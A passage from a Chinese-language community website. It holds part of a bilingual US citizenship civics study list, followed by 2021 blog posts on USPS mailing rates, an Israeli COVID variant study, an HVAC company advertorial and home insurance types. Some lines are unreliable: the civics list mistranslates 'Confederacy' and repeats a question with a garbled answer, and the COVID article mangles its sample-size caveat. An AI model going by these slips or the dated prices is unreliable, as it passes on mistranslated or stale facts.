• Nancy Pelosi 南希-佩洛西 • Pelosi 佩洛西

C. Rights and Responsibilities 权利与责任

48. There are four amendments to the Constitution about who can vote. Describe one of them. 宪法中有四个关于谁可以投票的修正案 ,请列举⼀个 。
• Citizens eighteen (18) and older (can vote). 18岁以上的公民可以投票。
• You don’t have to pay (a poll tax) to vote. 您投票不必缴钱/投票税。
• Any citizen can vote. (Women and men can vote.) 任何公民都可投票。男⼥都可投票。
• A male citizen of any race (can vote). 任何种族的男性公民都可以投票。

49*. What is one responsibility that is only for United States citizens? 列举⼀项美国公民才有的责任?
• Serve on a jury 当陪审员
• Vote in a federal election 在联邦选举中投票

50. Name one right only for United States citizens. 列举⼀项美国公民才享有的权利 。
• Vote in a federal election 在联邦选举中投票的权利
• Run for federal office 竞选公职的权利

51. What are two rights of everyone living in the United States? 列举每个住在美国的⼈都有的两项权利。
• Freedom of expression 表达⾃由
• Freedom of speech ⾔论⾃由
• Freedom of assembly 集会结社的⾃由
• Freedom to petition the government 向政府请愿的⾃由
• Freedom of worship (religion) 宗教⾃由
• The right to bear arms 持有武器的⾃由

52. What do we show loyalty to when we say the Pledge of Allegiance? 当我们宣誓效忠时,是向什么表达忠诚?
• The United States 美利坚合众国
• The flag 国旗

53. What is one promise you make when you become a United States citizen? 列举当您成为美国公民时做出的⼀项承诺。
• Give up loyalty to other countries 放弃效忠其他国家
• Defend the Constitution and laws of the United States 护卫美国的宪法及法律
• Obey the laws of the United States 遵守美国的法律
• Serve in the U.S. military (if needed) 必要时加⼊美国军队
Serve (do important work for) the nation (if needed) 必要时为国效劳、为国做重要⼯作
• Be loyal to the United States 效忠美国

54*. How old do citizens have to be to vote for President? 美国公民必须⼏岁才能投票选举总统?
答:Eighteen (18) and older (18岁以上)

55. What are two ways that Americans can participate in their democracy? 列举美国⼈参与民主政治的两种⽅法。
• Vote 投票 • Join a political party 加⼊政党
• Help with a campaign 协助竞选活动• Join a civic group 加⼊公民团体
• Join a community group 加⼊社区团体
• Give an elected official your opinion on an issue 向民选官员提供⾃⼰对某项议题的意见
• Call Senators and Representatives 拨电给参议员和众议员
• Publicly support or oppose an issue or policy 公开⽀持或反对某个议题或政策
• Run for office 竞选公职
• Write to a newspaper 向报社投函

56*. When is the last day you can send in federal income tax forms? 寄送联邦所得税表的截⽌⽇期是哪⼀天?
答:April 15 (每年4⽉15⽇)

57. When must all men register for the Selective Service? 所有男性多⼤年龄必须注册兵役登记?
• At age eighteen (18) (18岁)• Between eighteen (18) and twenty-six (26) (18-26岁之间)

⼆、AMERICAN HISTORY 美国历史

A. Colonial Period and Independence 殖民期与独⽴

58. What is one reason colonists came to America? 殖民者到美国的原因有哪些?列举⼀项。
• Freedom ⾃由
• Political liberty 政治⾃由
• Religious freedom 宗教⾃由
• Economic opportunity 经济机会
• Practice their religion 从事宗教活动
• Escape persecution 逃避迫害

59. Who lived in America before the Europeans arrived? 在欧洲⼈抵达之前谁在美国居住?
• American Indians 美国印地安⼈
• Native Americans 美国原住民

60. What group of people was taken to America and sold as slaves? 哪⼀群⼈被带到美国并被贩卖为奴?
• Africans ⾮洲⼈
• People from Africa 来⾃⾮洲的⼈

61. Why did the colonists fight the British? 殖民者为何与英国作战?
• Because of high taxes (taxation without representation) 因为⾼额税(只缴税,没有代表权)
• Because the British army stayed in their houses (boarding, quartering) 因为英国军队住在他们家内(寄宿、宿营)
• Because they didn’t have self-government 因为他们没有⾃治权

62. Who wrote the Declaration of Independence? 「独⽴宣⾔」是谁写的?
答:(Thomas) Jefferson 托马斯-杰佛逊

63. When was the Declaration of Independence adopted? 「独⽴宣⾔」是何时通过实施的?
答:July 4, 1776(1776年7⽉4⽇)

64. There were 13 original states. Name three. 美国原先有13个州 ,请列举其中3个 。
• New Hampshire 新罕布夏
• Massachusetts ⿇萨诸塞
• Rhode Island 罗德岛
• Connecticut 康乃狄克
• New York 纽约
• New Jersey 纽泽西
• Pennsylvania 宾⼣法尼亚
• Delaware 德拉⽡
• Maryland 马⾥兰
• Virginia 维吉尼亚
• North Carolina 北卡罗莱纳
• South Carolina 南卡罗莱纳
• Georgia乔治亚

65. What happened at the Constitutional Convention? 制宪会议达成了什么事?
• The Constitution was written. 拟定宪法 。
• The Founding Fathers wrote the Constitution. 开国诸贤拟定了宪法 。

66. When was the Constitution written? 宪法是何时拟定的?
答:1787(1787年)

67. The Federalist Papers supported the passage of the U.S. Constitution. Name one of the writers. 《联邦论》⽀持美国宪法的通过 。请列举《联邦论》的⼀名作者 。
• (James) Madison 詹姆⼠-麦迪森
• (Alexander) Hamilton 亚历⼭⼤-汉⽶尔顿
• (John) Jay 约翰-杰伊• Publius 普布利乌斯

68. What is one thing Benjamin Franklin is famous for? 列举⼀项本杰明-富兰克林的著名事迹。
• U.S. diplomat 美国外交官
• Oldest member of the Constitutional Convention 制宪会议年纪最长的成员
• First Postmaster General of the United States 美国第⼀任邮政总局局长
• Writer of “Poor Richard’s Almanac” 《穷⼈理查年鉴》的作者
• Started the first free libraries 开办第⼀个免费图书馆

69. Who is the “Father of Our Country”? 谁是「美国国⽗」?

答:(George) Washington 乔治-华盛顿

70*. Who was the first President? 谁是第⼀任总统? 答:(George) Washington 乔治-华盛顿

B. 1800s(1800 年代)

71. What territory did the United States buy from France in 1803? 美国在1803年向法国购买了哪块领地?
• The Louisiana Territory 路易⼠安纳领地
• Louisiana 路易⼠安纳

72. Name one war fought by the United States in the 1800s. 列举⼀场美国在1800年代参与的战争 。
• War of 1812(1812年战争)
• Mexican-American War 美墨战争
• Civil War 内战
• Spanish-American War 美国与西班⽛战争

73. Name the U.S. war between the North and the South. 请说出美国南⽅与北⽅之间战争的名称 。
• The Civil War 内战
• The War Between the States 州际战争

74. Name one problem that led to the Civil War. 列举⼀项导致内战的问题 。
• Slavery 奴⾪制度
• Economic reasons 经济原因
• States’ rights 各州的权利

75* What was one important thing that Abraham Lincoln did? 亚伯拉罕-林肯有哪些重要事迹?列举⼀项。
• Freed the slaves (Emancipation Proclamation) 解放奴⾪(《解放宣⾔》)
• Saved (or preserved) the Union 拯救(保留)联盟
• Led the United States during the Civil War 在内战期间引领美国

76. What did the Emancipation Proclamation do? 《解放宣⾔》有什么作⽤?
• Freed the slaves 解放了奴⾪
• Freed slaves in the Confederacy 解放了联邦制下的奴⾪
• Freed slaves in the Confederate states 解放了联邦各州的奴⾪
• Freed slaves in most Southern states 解放了南⽅⼤部分州的奴⾪

77. What did Susan B. Anthony do? 苏珊 B. 安东尼的事迹是什么?
• Fought for women’s rights 为⼥权奋⽃
• Fought for civil rights 为民权奋⽃

C. Recent American History and Other Important Historical Information 美国近代史与其他重要的历史资料

78*. Name one war fought by the United States in the 1900s. 列举⼀场美国在 1900 年代参与的战争 。
• World War I 第⼀次世界⼤战
• World War II 第⼆次世界⼤战
• Korean War 朝鲜战争
• Vietnam War 越战
• (Persian) Gulf War (波斯湾)海湾战争

79. Who was President during World War I? 第⼀次世界⼤战期间的美国总统是谁?
答:(Woodrow) Wilson 伍德罗-威尔逊

80. Who was President during the Great Depression and World War II? 美国经济⼤萧条和第⼆次世界⼤战期间的总统是谁?
答:(Franklin) Roosevelt 富兰克林-罗斯福

81. Who did the United States fight in World War II? 美国在第⼆次世界⼤战与哪些国家作战?
答:Japan, Germany, and Italy ⽇本、德国、意⼤利

82. Before he was President, Eisenhower was a general. What war was he in? 艾森豪威尔在当总统以前是将军 。他曾参加哪⼀场战争?
答:World War II 第⼆次世界⼤战

83. During the Cold War, what was the main concern of the United States? 在冷战期间,美国的主要顾虑是什么?
答:Communism 共产主义

84. What movement tried to end racial discrimination? 哪项运动试图结束种族歧视?
答:Civil rights (movement) 民权运动

85*. What did Martin Luther King, Jr. do? ⼩马丁-路德-⾦的事迹是什么?
• Fought for civil rights 为民权奋⽃
• Worked for equality for all Americans 为所有美国⼈争取平等

86. What major event happened on September 11, 2001, in the United States? 2001年9⽉11⽇发⽣了什么重⼤事件?
答:Terrorists attacked the United States. 恐怖份⼦攻击美国 。

87. Name one American Indian tribe in the United States. 列举⼀个美国印地安⼈部族 。 [USCIS Officers will be supplied with a list of federally recognized American Indian tribes.] 〔USCIS主考官将有联邦承认的美国印地安⼈部族清单 。〕
• Cherokee 切洛基
• Navajo 纳⽡荷
• Sioux 苏
• Chippewa 齐普⽡
• Choctaw 乔克陶
• Pueblo 布耶布洛
• Apache 阿帕契
• Iroquois 伊洛奎斯
• Creek 库瑞克
• Blackfeet 布雷克⾮特
• Seminole 赛⽶诺利
• Cheyenne 夏安
• Arawak 阿拉⽡克
• Shawnee 萧尼
• Mohegan 莫希根
• Huron 休伦
• Oneida 欧尼达
• Lakota 拉科塔
• Crow 克洛
• Teton 泰顿
• Hopi 贺⽪
• Inuit 伊努特

三、INTEGRATED CIVICS 综合公民

A. Geography 地理

88. Name one of the two longest rivers in the United States. 列举美国最长的两条河中的⼀条 。
• Missouri (River) 密苏⾥河
• Mississippi (River) 密西西⽐河

89. What ocean is on the West Coast of the United States? 美国西岸濒临什么海洋?
答:Pacific (Ocean) 太平洋

90. What ocean is on the East Coast of the United States? 美国东岸濒临什么海洋?
答:Atlantic (Ocean) ⼤西洋

91. Name one U.S. territory. 列举⼀个美国领地 。
• Puerto Rico 波多黎各
• U.S. Virgin Islands 美属维京群岛
• American Samoa 美属萨摩亚
• Northern Mariana Islands 北马⾥亚纳群岛
• Guam 关岛

92. Name one state that borders Canada. 列举⼀个与加拿⼤毗连的州 。
• Maine 缅因
• New Hampshire 新罕布夏
• Vermont 佛蒙特
• New York 纽约
• Pennsylvania 宾⼣法尼亚
• Ohio 俄亥俄
• Michigan密西根
• Minnesota 明尼苏达
• North Dakota 北达科他
• Montana 蒙⼤拿
• Idaho 爱达荷
• Washington 华盛顿
• Alaska 阿拉斯加

93. Name one state that borders Mexico. 列举⼀个与墨西哥毗连的州 。
• California 加利福尼亚
• Arizona 亚利桑那
• New Mexico 新墨西哥
• Texas 德克萨斯

94* What is the capital of the United States? 美国的⾸都在哪⾥?
答:Washington, D.C. 华盛顿哥伦⽐亚特区

95*. Where is the Statue of Liberty? ⾃由⼥神像在哪⾥?
• New York (Harbor) 纽约/纽约港
• Liberty Island ⾃由岛[Also acceptable are New Jersey, near New York City, and on the Hudson (River).]〔回答纽泽西、纽约市附近、哈德逊河上也可以接受〕

B. Symbols 标志

96. Why does the flag have 13 stripes? 国旗上为什么有⼗三个条纹?
• Because there were 13 original colonies因为当初有⼗三个殖民地
• Because the stripes represent the original colonies 因为条纹代表当初的殖民地

97*. Why does the flag have 50 stars? 国旗上为什么有五⼗颗星星?

• Because there is one star for each state 因为⼀个州有⼀颗星
• Because each star represents a state 因为⼀颗星代表⼀个州
• Because there are 50 states 因为有五⼗个州

98. What is the name of the national anthem? 美国国歌的名称是什么?
答:The Star-Spangled Banner 星条旗之歌

C. Holidays 法定假⽇

99. When do we celebrate Independence Day?我们在哪一天庆祝独立纪念日? *
答:July4 7月4日

100*. When do we celebrate Independence Day? 我们在哪⼀天庆祝独⽴纪念⽇?
答:4-Jul(7⽉4⽇)100. Name two national U.S. holidays. 列举两个美国的法定假⽇ 。
• New Year’s Day 新年
• Martin Luther King, Jr. Day 马丁路德⾦的⽣⽇
• Presidents’ Day 总统⽇
• Memorial Day 国殇⽇
• Independence Day 美国国庆⽇
• Labor Day 劳动节
• Columbus Day 哥伦布⽇
• Veterans Day 退伍军⼈节
• Thanksgiving 感恩节
• Christmas 圣诞节


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2021-04-15 / by / in , , , , ,
2021最新美国邮局 USPS 寄信寄包裹详解
文|无疆行者

United States Postal Service(美国邮政/邮局),简称USPS。最早可以追溯到 1775 年,发展到今天,已经快有250年的历史了。不管你是在美国境内邮寄、还是美国寄信寄包裹到中国, USPS一直都是很多华人朋友的首选。

今天小编为大家详细介绍,美国邮局USPS寄件的邮寄方式、流程、邮资、常见的问题、以及包括的其他服务。

一、寄信流程

以寄 Certified Mail 为例,假设今天要寄的是境内给移民局的文档,背景如下:

不是太急,但我想在3天内寄达,没有信封 –> 拿 Priority Mail Flat Rate 信封(邮资已含)

由于是重要文档,希望能确认顺利寄到 –> 选择 Certified Mail
保险起见,要求签名回条 –> 加选 Return Receipt

寄送流程 >>>

1. 先拿一份 Priority Mail Flat Rate 合适尺寸的信封,把文档放进去。

2. 在边上自助台拿绿色 Certified Mail Receipt(填收件人地址就好)以及 Return Receipt(填寄件人地址)

3. 填好之后就排队。由邮局人员检查、收费、并把以上数据都贴好后寄出。

4. 邮资计算:$7.95 (Priority Mail Flat Rate) + $3.6 (Certified Mail) + $1.75 (电子版 Return Receipt) = $13.3

更直接的方法:完成 Step 1 后直接排队,告诉邮局人员这是重要文档,通常邮局员工都会建议你可加购哪些服务,临柜填写手续一并办理即可。

二、美国邮局USPS常用的5种邮寄方式

1. First-Class Mail(平信)

适用种类:重要性普通的轻薄信件和小包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):无

重量限制:普通信封3.5盎司 (差不多99g-100g)、大信封和包裹13盎司 (差不多368g)

一般普通信件(stamped, 贴邮票)$0.55*-$1.15
一般普通信件(metered, 邮资机)$0.51-$1.11
明信片$0.36(一张 Postcard 邮票的邮资)
大信封 $1.00-$3.40
包裹 $3.01-$5.98

*$0.55是目前一张 Forever 邮票的邮资。Forever 邮票面额为 1oz 以内的境内平信邮资,价值会随邮局规定而变动。比如之前 Forever 邮票一张 50cent,但现在 1oz 平信邮资涨到 55cent,仍然只需要贴一张就好(邮局会认 Forever)不需要另外补 5cent。

另外也有 Global Forever 适用于国际平信,1oz 以下信件只要一张 Global Forever 邮票即可,可寄到世界各地。

是否能送国际信件?(便宜)

可以,可寄送信件和最重 64oz 的大信封和包裹。邮寄速度不固定,个人经验是最快7个工作日可送达。收费方式以重量与目的地计价,通常明信片和 1oz 以下的普通信件的邮资只要$1.20,即一张。

(Pixabay)

2. Priority Mail(快递)

适合种类:较急的信件和包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):是

有无保险:有保险,保险金额可能是50美元或100美元,具体取决于邮资的付款方式

重量限制:70磅 (约31.75公斤),最大组合长度和周长 (周长是最厚部分周围的距离) 为108英寸

(1) 不秤重的固定收费 (Flat Rate):需到邮局购买 Flat Rate (统一价格) 信封/箱子,这种 Flat Rate 信封/箱子已连同邮资计算进去。

普通信封 ( Flat Rate Envelopes 12-1 / 2“ x 9-1 / 2”或更小):$7.95
法律文档信封 (Legal Flat Rate Envelope):$8.25
软垫信封 (Padded Flat Rate Envelope):$8.55
小箱子 (Small Flat Rate Box):$8.45
中箱子 (Medium Flat Rate Box):$15.50
大箱子 (Large Flat Rate Box):$21.90
APO/FPO/DPO大箱子 (APO/FPO/DPO Large Flat Rate Box):$20.40

(2) 按远近+重量收费:若使用自己的信封/箱子,则视重量和邮寄地区来计价。

是否能从美国寄信或包裹到中国?(贵)

可以。可寄送信件和包裹,寄送时间约6-10个工作天。
Flat Rate 信封/箱子 (最高限重4 lbs.):$28.5

小箱子 (Small Flat Rate Priced Boxes 最高限重4 lbs.):$29.55
中箱子 (Medium Flat Rate Box 最高限重20 lbs.):$54.65
大箱子 (Large Flat Rate Box 最高限重20 lbs.):$71.05

另外也可以用自己的信封/箱子,以重量和邮寄地区计价。国际 Priority Mail 的保险最高可赔偿$200。

3. Priority Mail Express(隔夜快递)

(Unsplash/Matthew T Rader)

适用种类:很急的信件和包裹

邮寄速度:最快的国内邮寄服务,通常隔天就到(主要地区还可加价要求在隔天早上10点半前寄到,或周日或假日寄到)

提供邮件查找 (Tracking):是

需收件人签收:是(若寄件人要求)

有无保险:有保险,具体取决于邮资的付款方式

重量限制:70磅 (约31.75公斤),最大组合长度和周长 (周长是最厚部分周围的距离) 为108英寸

(1) 不秤重的固定收费 (Flat Rate),需到邮局购买 Flat Rate(统一价格)信封:这种 Flat Rate 信封已连同邮资计算进去。

平信 (Flat Rate Envelope):$26.35
法律文档 (Legal Flat Rate Envelope):$26.50
软垫信封 (Padded Flat Rate Envelope):$26.95

(2) 按远近+重量收费:若使用自己的信封/箱子,则视重量和邮寄地区来计价。

是否能从美国寄信或包裹到中国?

可以。可寄送信件和包裹,寄送时间约3-5个工作天,最近受到新冠疫情影响,寄送速度也会相对来说慢了一点。也是有 Flat Rate 信封/箱子(最高限重4 lbs.),起价$45.95;另外也可以用自己的信封/箱子,以重量和邮寄地区计价。国际 Priority Mail Express 的保险最高可赔偿$200。

4. USPS Retail Ground(即早期的 Standard Post)

(usps.com)

适合种类:不急的较重包裹

邮寄速度:2-8个工作天

提供邮件查找 (Tracking):是

重量限制:无论邮件的尺寸大小如何,任何邮件的最大可邮寄重量均为70磅。长度和周长的总和可能不超过130英寸 (但将收取超尺寸的价格)

收费方式:视重量和邮寄地区来计价,最便宜$7.70起,且必须亲自到邮局办理。

5. Global Express Guaranteed(国际快递)

适合种类:很急的国际包裹

邮寄速度:1-3个工作天

提供邮件查找 (Tracking):是

有保险:是,最多$100

重量限制:最大重量为70磅 (约31.75公斤),最大总长度和周长为108英寸。最大长度为46英寸,高度为46英寸,宽度为35英寸。

收费方式:与 FedEx 合作,视重量和邮寄地区来计价,最便宜$67.80起

注:无论境内或境外,若没有在承诺时间寄到,可以要求退款。

三、永久邮票 Forever Stamp

(flickr/ehpien)

除了普通有具体面额的邮票以外,美国还有一种“ Forever stamp”永久邮票(现价$0.55),这种邮票并没有面额,我们平时寄平信如果重量不超过1oz,贴一张forever邮票就可以了,非常方便。

Forever邮票的价值永远保持在当前1oz或以下的平信邮资,并且永不过期。这种批量的forever邮票在一般的便利店、加油站、超市、办公用品店、Costco等等地方都有,只要问收银员就能买到。

但是如果信件重量超过1oz,那么按实际重量计算邮资可能会比贴多张forever邮票更划算一些。比如说,1oz以下的信邮资是$0.55,每增加1oz重量加$0.15。

四、国际邮寄/美国寄包裹回中国

USPS提供国际邮寄服务,最快捷的是 Global Express Guaranteed(简称GXG),根据目的地确保在1-3个工作日内送达,有全方位追踪和退款保证,包含$100保险额,邮费$67.80起。

而次一级的 Priority Mail Express International可以在3-5个工作日内送达,同样有追踪、邮寄中国有退款保证和$100文件/$200货物的保险额,邮费$44.00起。

Priority Mail International 需要6-10个工作日,但没有退款保证,邮费$25.85起。Priority的快递寄到中国后会由国内的EMS接手投递,可以在USPS或者EMS网站查到tracking信息。

4磅以下、价值$400以下的小包裹也可以选择 First-Class Package International,包含电子送达确认,邮费$10.50起。

国际平邮信件价格$1.15起,如果经常寄1oz以下国际平信,可以多买一些Global Forever邮票。

五、美国邮局的其他服务

● 办理或更新美国护照

拿到公民纸之后可以到邮局申请美国护照,建议先电话预约办理。

● 买汇票 (Money Orders)

可用现金、现金卡 (Debit Card) 或旅行支票到美国邮局临柜购买,金额上限$1000,并酌收手续费,$500以下手续费。国际Money Orders面值最多$700。适合无支票帐户的人使用,而且上面无银行消息,可确保隐私。

(usps.com)

● 租赁个人邮箱(P.O.Box)服务,门店或USPS官网都可办理。

●加价服务:挂号信/挂号邮件与保险

1. Registered Mail 挂号信/挂号邮件

Registered Mail 会被严谨处理,寄件人持有追踪号码可时时追踪,每移交到哪一站、哪个人员处理都一清二楚,所以适用内容物价值高的包裹。

有无保险:有保险,对于在美国邮政局保管中丢失,损坏或缺少内容的商品,保险最多可提供5,000美元的保险

手续费:$12.90 起,视申报的包裹价值而定

2. Hold for Pickup 自行取包裹

包裹会送到指定邮局,让收件人自行来取。如果寄送较贵重且易坏的物品,可以选择这种寄送方式。

💡需要注意的是,最近受到疫情的影响,信件和包裹的寄送速度都有可能会受到影响,建议大家寄之前再跟 USPS 确认一下哦!

 

2021-04-14 / by / in , , ,
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鑫创庭院设计公司
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2021-04-13 / by / in , ,
以色列研究发现新冠病毒变种 能够“突破”疫苗

文|雨荷编译

根据以色列的一项新研究,在南非首次发现的冠状病毒(中共病毒)变种能够逃避辉瑞-BioNTech疫苗的某些保护。研究人员发现,在接受两剂疫苗的患者中,B.1.351的患病率是未接种疫苗的人的八倍。研究人员指出,该研究的主要警告是相同的样本量。

研究显示,来自南非的Covid变种可能逃避了辉瑞疫苗在南非首次发现的中共病毒变种能够回避一些保护的辉瑞- BioNTech疫苗,根据一项新的以色列的研究,至今尚未经过同行审查。特拉维夫大学和以色列最大的卫生保健组织Clalit的研究人员对近400人进行了检查,他们接受了至少一剂疫苗后Covid-19呈阳性。他们将它们与感染和未接种疫苗的相同人数进行了比较。

打疫苗 示意图。(pixabay)

研究人员发现,在接受两剂疫苗的南非患者中,这种名为B.1.351的变异体的患病率是未接种疫苗的患者的八倍。研究人员在研究中写道,周末在线发布的数据表明,B.1.351比原始菌株更能“突破”疫苗的保护。

“根据一般人群的模式,我们预计只有一例南非变种,但我们看到了八例,”负责这项研究的阿迪•斯特恩教授告诉以色列时报。 “我们可以说这种方法不太有效,但是需要更多的研究来确定确切的数量。”
新数据发布之际,公共卫生官员越来越担心高度传染性的变体,研究表明这种变体会降低疫苗的有效性,可能会使世界在大流行中的进展停滞不前。

上个月,疾病预防控制中心主任Rochelle Walensky博士向记者发出了严峻的警告,告诉记者,她担心美国将面临巨大的危险,因为病毒变异不断蔓延,每天发生的Covid-19病例再次开始反弹,威胁要把更多的人送往医院。

病毒变异 示意图。(pixabay)

3月29日,她说: “我要在这里停顿一下,我要丢掉剧本,我要反思一下我即将来临的厄运的感觉。” “我们有很多期待,有希望和潜力,还有很多希望的理由,但现在我很害怕。”

以色列于12月发起了全国疫苗接种运动,将60岁及60岁以上的老年人,医护人员以及有潜在健康问题的人们放在优先地位。到2月,该国的人均疫苗接种率居世界首位。

1月,辉瑞公司与以色列卫生部签署了一项合作协议,以监测其疫苗在现实世界中的影响。

研究人员指出,这项研究的主要警告是样本量。他们说,B.1.351仅占所有Covid-19案件的1%。B.1.1.7(在英国识别出的变体)更为普遍。
随着变种的扩散,制药商表示,他们正在测试第三剂是否会提供更多保护。辉瑞公司和BioNTech公司在2月表示,他们正在测试第三剂Covid-19疫苗,以更好地了解针对该病毒新变种的免疫反应。

2021-04-13 / by / in , , , , ,
为何冷气不冷 暖气不暖?纽约空调专家王师傅一看摇头

文|雨荷

安装和使用暖气炉很有学问,暖气炉安装的正确、调试的到位,暖气炉的工作稳定,制暖即好,能源又省。根据美国能源资讯管理局(EIA)统计,暖气花费约占家用能源的42%。设备老旧或错误的使用方式,大约一半的暖气系统没有发挥最大性能。若能对暖气设备进行维护、提升绝缘性能、隔绝冷空气,以及设置适当温度,平均将可省下30%的暖气费。

暖气机在正常使用下,约有20至30年的寿命。时常检查暖气设备、拥有良好使用习惯,可以让您拥有一个温暖的家,更能省下不必要的暖气费用。如果想要将设备汰旧换新,最好雇用具有认证的技工。

由航空高级技师王师傅亲自主理的「顺风冷暖空调公司」(位在法拉盛)是一家具有良好信誉的空调总汇。王师傅拥有多项美国专业证照,专精维修安装和保养。

纽约空调安装:顺风冷暖空调公司王师傅。

纽约空调安装 王师傅表示,在许多维修的案例,发现许多安装时的失误:

一.空调主机吨位大,使用的电线太细,不够匹配空调主机的额定电流值,容易出现跳闸、停机、包括损坏设备。

二.将室外空调主机的电源线并联在一起,加大电源配线盒上的空气开关的安培数位,这样做在超载时起不到保护空调主机的作用,这是十分危险的。

三.给空调主机加冷媒时,没有按照空调主机的冷媒号要求来加冷媒,造成空调机器运作不正常,影响制冷、制热的效果。

四.有的空调漏冷媒严重,加了一二周后又不制冷了,这种情况应该要先找出漏冷媒的原因,修复后再加冷媒为好,以免浪费。

五.在外墙的铜管和水管的安装,也需要从合理美观的概念出发,不是随意乱钉在外墙上。

六.室内分机的安装也要讲究,风口不要对着人直接吹,会患所谓的空调病,伤害身体健康。

位在法拉盛的顺风冷暖空调公司,提供机器材料和安装服务,及完善的售后服务。暑期优惠回馈侨胞,包括各式分体式高节能空调,入墙式空调,窗式空调均以特优折扣酬宾。品牌包括获消费者高度评价的著名品牌三菱(Mitsubishi )、富士(Fujitsu)、Frigidaire、弗里德里希(Friedrich)、LG、Samsung、格力 (Gree) 、TOSOT、Panasonic、开利 (Carrier)等。分体式的冷气有一拖一至一拖四,任君选择。

纽约空调安装:顺风冷暖空调公司王师傅。

顺风冷暖空调公司拥有专业注册执照安装保修团队及百万保险安装,随时为客人提供专业建议、快速安装、保养和修护中央空调,分体空调,暖气炉,热水炉等完整的售前及售后服务,服务纽约五大区和纽泽西。

注意事项!

一定要观察玻璃管的水位标志,水位不能太低也不能太高,一般1/3的位置为好。如果自动进水阀进水不畅,可用人工进水。如果自动进水阀坏了,要及时进行更换。要保持炉膛内要求的水位。

不然,暖气炉不会正常工作。

暖气炉 有情提示:

1.油炉房内一定要放几袋干沙子,有炉外明火可用沙子扑灭,用水是扑不灭油引起的明火的。一定要做好消防安全工作,消除火灾隐患。

2.暖气炉的烟囱铁皮上,或在暖气炉的下放,要安装高温保护开关,以避免因高温而引起的火灾风险。保险公司非常关注这个部位!如果没有安装高温保护开关,一旦有事,保险公司是有理由不给理赔的。

3.暖气炉的房间里,不光要安装烟囱释放出因燃烧而产生的废气,还应该有直接通向室外的新鲜空气进来。以帮助暖气炉的完全燃烧。如果新鲜空气不充分,会引起暖气炉燃烧不完全,伤人的废气聚多。严重的会使人中毒!或造成炉子灭火。

4.二根或多根电线拧在一起的时候,线头要对齐,再用平口钳拧紧。找出内经相符的线帽拧紧,这样才能保证电路的可靠畅通,有了可靠畅通的电路,暖气炉才能可靠正常的工作。许多接线方法不正确,线帽压不紧电线接头,造成暖气炉一会工作,一会儿断电。

顺风冷暖空调公司,王师傅亲自安装,并到府免费估价。欢迎洽询,可以直接拨打免费电话咨询。

公司地址: 41-25 Kissena Blvd. 法拉盛百利大厦,

免费电话:917-348-5230

2021-04-12 / 3 Comments / by / in , , , , , , ,
美国房屋保险Home Insurance详解 如何降低保费?

文|无疆行者

房屋是您价值最高的资产吗?相信很多朋友的回答是肯定的,毕竟买房子是一笔很大的投资了。但这样重要的固定资产也面临遭受火灾、飓风、盗窃、别人故意毁坏的可能。虽然美国还没有法律规定要求购买「房屋保险 Home Insurance」,但购房人如果需要贷款,银行会要求购买房屋保险。很多人即便现金一次付清房款,也会主动购买房屋保险来保护自己的重要资产、规避风险。

本文行者为大家详细介绍有关美国房屋保险的内容、类型、理赔范围以及降低保费的技巧。

一、通常房屋保险包括的内容

1.受灾后赔偿给屋主或贷款银行的部份。

2.房屋本身/内部装修,包括房屋本身、围墙、车房、车道、泳池等。如果房屋发生火灾,或因大风倒塌,保险公司会赔偿你人工费和物料费,并尽可能修葺为受损前的规格。

3. 私人财物,包含家具、衣物、电器、书藉、收藏、文件等。有些人会忽略这一点,觉得这些东西不值钱。其实如果把所有物件的价值加起来,金额一定会超出你的意料。

4.修复期生活开支:如果房屋因各种原因受损导致生活不便或不能居住,在修复期间,保险公司会承担相应的生活开支,包括短期的酒店居住或租房费用。

5. 屋主意外责任险,保障屋主或来访客人在房屋室内外发生意外时,可提供赔偿。

二、房屋保险政策类型

在美国,常使用的房屋保险政策有以下几类(下面的HO是Home Owner缩写):

HO-1基本险(Basic Coverage)
基本险的保赔范围包括:因火灾、雷击、烟薰、风灾、冰雹、抢劫、偷窃、爆炸、玻璃破碎、飞机、汽车、暴乱、骚动及故意破坏对房屋造成的损坏。
同时也保赔遭受危害过程中人体受伤、损坏他人财产、律师费、医药费、室内个人财产、房屋损坏后的额外住房生活开销。

HO-2扩充险(Broad Coverage)
除了HO-1,加保因电击、冰雪重压、水管冻坏、天空落体、热水器或空调系统断裂烧坏、室内漏水造成的损坏。

HO-3全保险(Special Form)
这是大众最普遍购买的房屋保险类型。除了HO-1和HO-2之外,全保险还加保除了战争、核灾、水灾、地震、地陷以外的几乎所有内容,也保赔客人在室内外发生的意外、路人在室外发生的意外、宠物咬伤人后的赔偿医药费、律师费等。

HO-4房客险(Tenant’s/ Renter’s Policy)
保赔出租房产室内的房客个人财产。
因为当屋主把房子作为出租使用时,一般只会对他自己的财产进行保险(毕竟多保一样东西就多花一点钱),所以租客需要购买一份房客险来保障自己的利益。

HO-6公寓险(Condominium Coverage)
保赔公寓屋主和室内个人财产、客人路人在室内外的事故、火灾、盗窃、漏水的损失。屋主需仔细阅读公寓业主(HOA)章程来决定须构买的保险费额。
很明显公寓的保险范围会比独栋别墅的要少,保费也会相应低一些。

HO-7活动房险(Mobile Home Coverage)
适用于活动房屋主的房屋保险。

HO-8老房险(Older Home Policy)
HO-8的保险范围和HO-1类似,主要是给年代久远的老房保险,由于老房子的市场价要低于重建价格,老房险允许屋主以低于重建价格的市场价来保险。

三、不同房屋选择哪类保险?

房屋保险政策有好多种,那么究竟该买哪一类呢?

独立房(Single Family House)购买HO-3

屋主拥有整栋房子、地基和地块所有权,因此要对这一切负责。
在房产估价报告(Appraisal Report)中的Cost Approach里有一栏「Total Estimate of Cost-New」,是估计重建此房要多少钱。贷款银行要求的保额是贷款额和Total Estimate of Cost-New中较低的那一个。建议根据Total Estimate of Cost-New购买。

连排屋(Townhouse)购买HO-3

Townhouse屋主的所有权与责任权跟Single House相似。若有业主委员会(HOA)则须提供业主委员会的保险信息。

公寓屋(Condo)购买HO-6

通常贷款银行会要求提供HO-6及Master/HOA Insurance。若Condo的Master Insurance除了公共区域外,也包含房屋内部的保险,那就不用再单独购买HO-6了。

四、房屋保险的索赔申报及注意事项

申报损失

美国的房屋保险理赔是需要在一定时间内自己主动申报的,这个期限一般为房屋发生损失的60天之内,需要填写“损失证明”交给保险公司,在损失证明中需要详细地列出各种损失项目及其价值,日后保险公司将会来审核。

注意房屋保险理赔的事项时限

√ 需要在损坏发生的60天之内向保险公司递交损失证明表;
√ 在保险公司发出估价通知后的20天内选好估价员;
√ 如果对保险公司的理赔存在异议,必须在损害发生的12个月内提出诉讼;
√ 空置的建筑物在损失发生时投保时间若未满60天,保险公司将不予以受理。

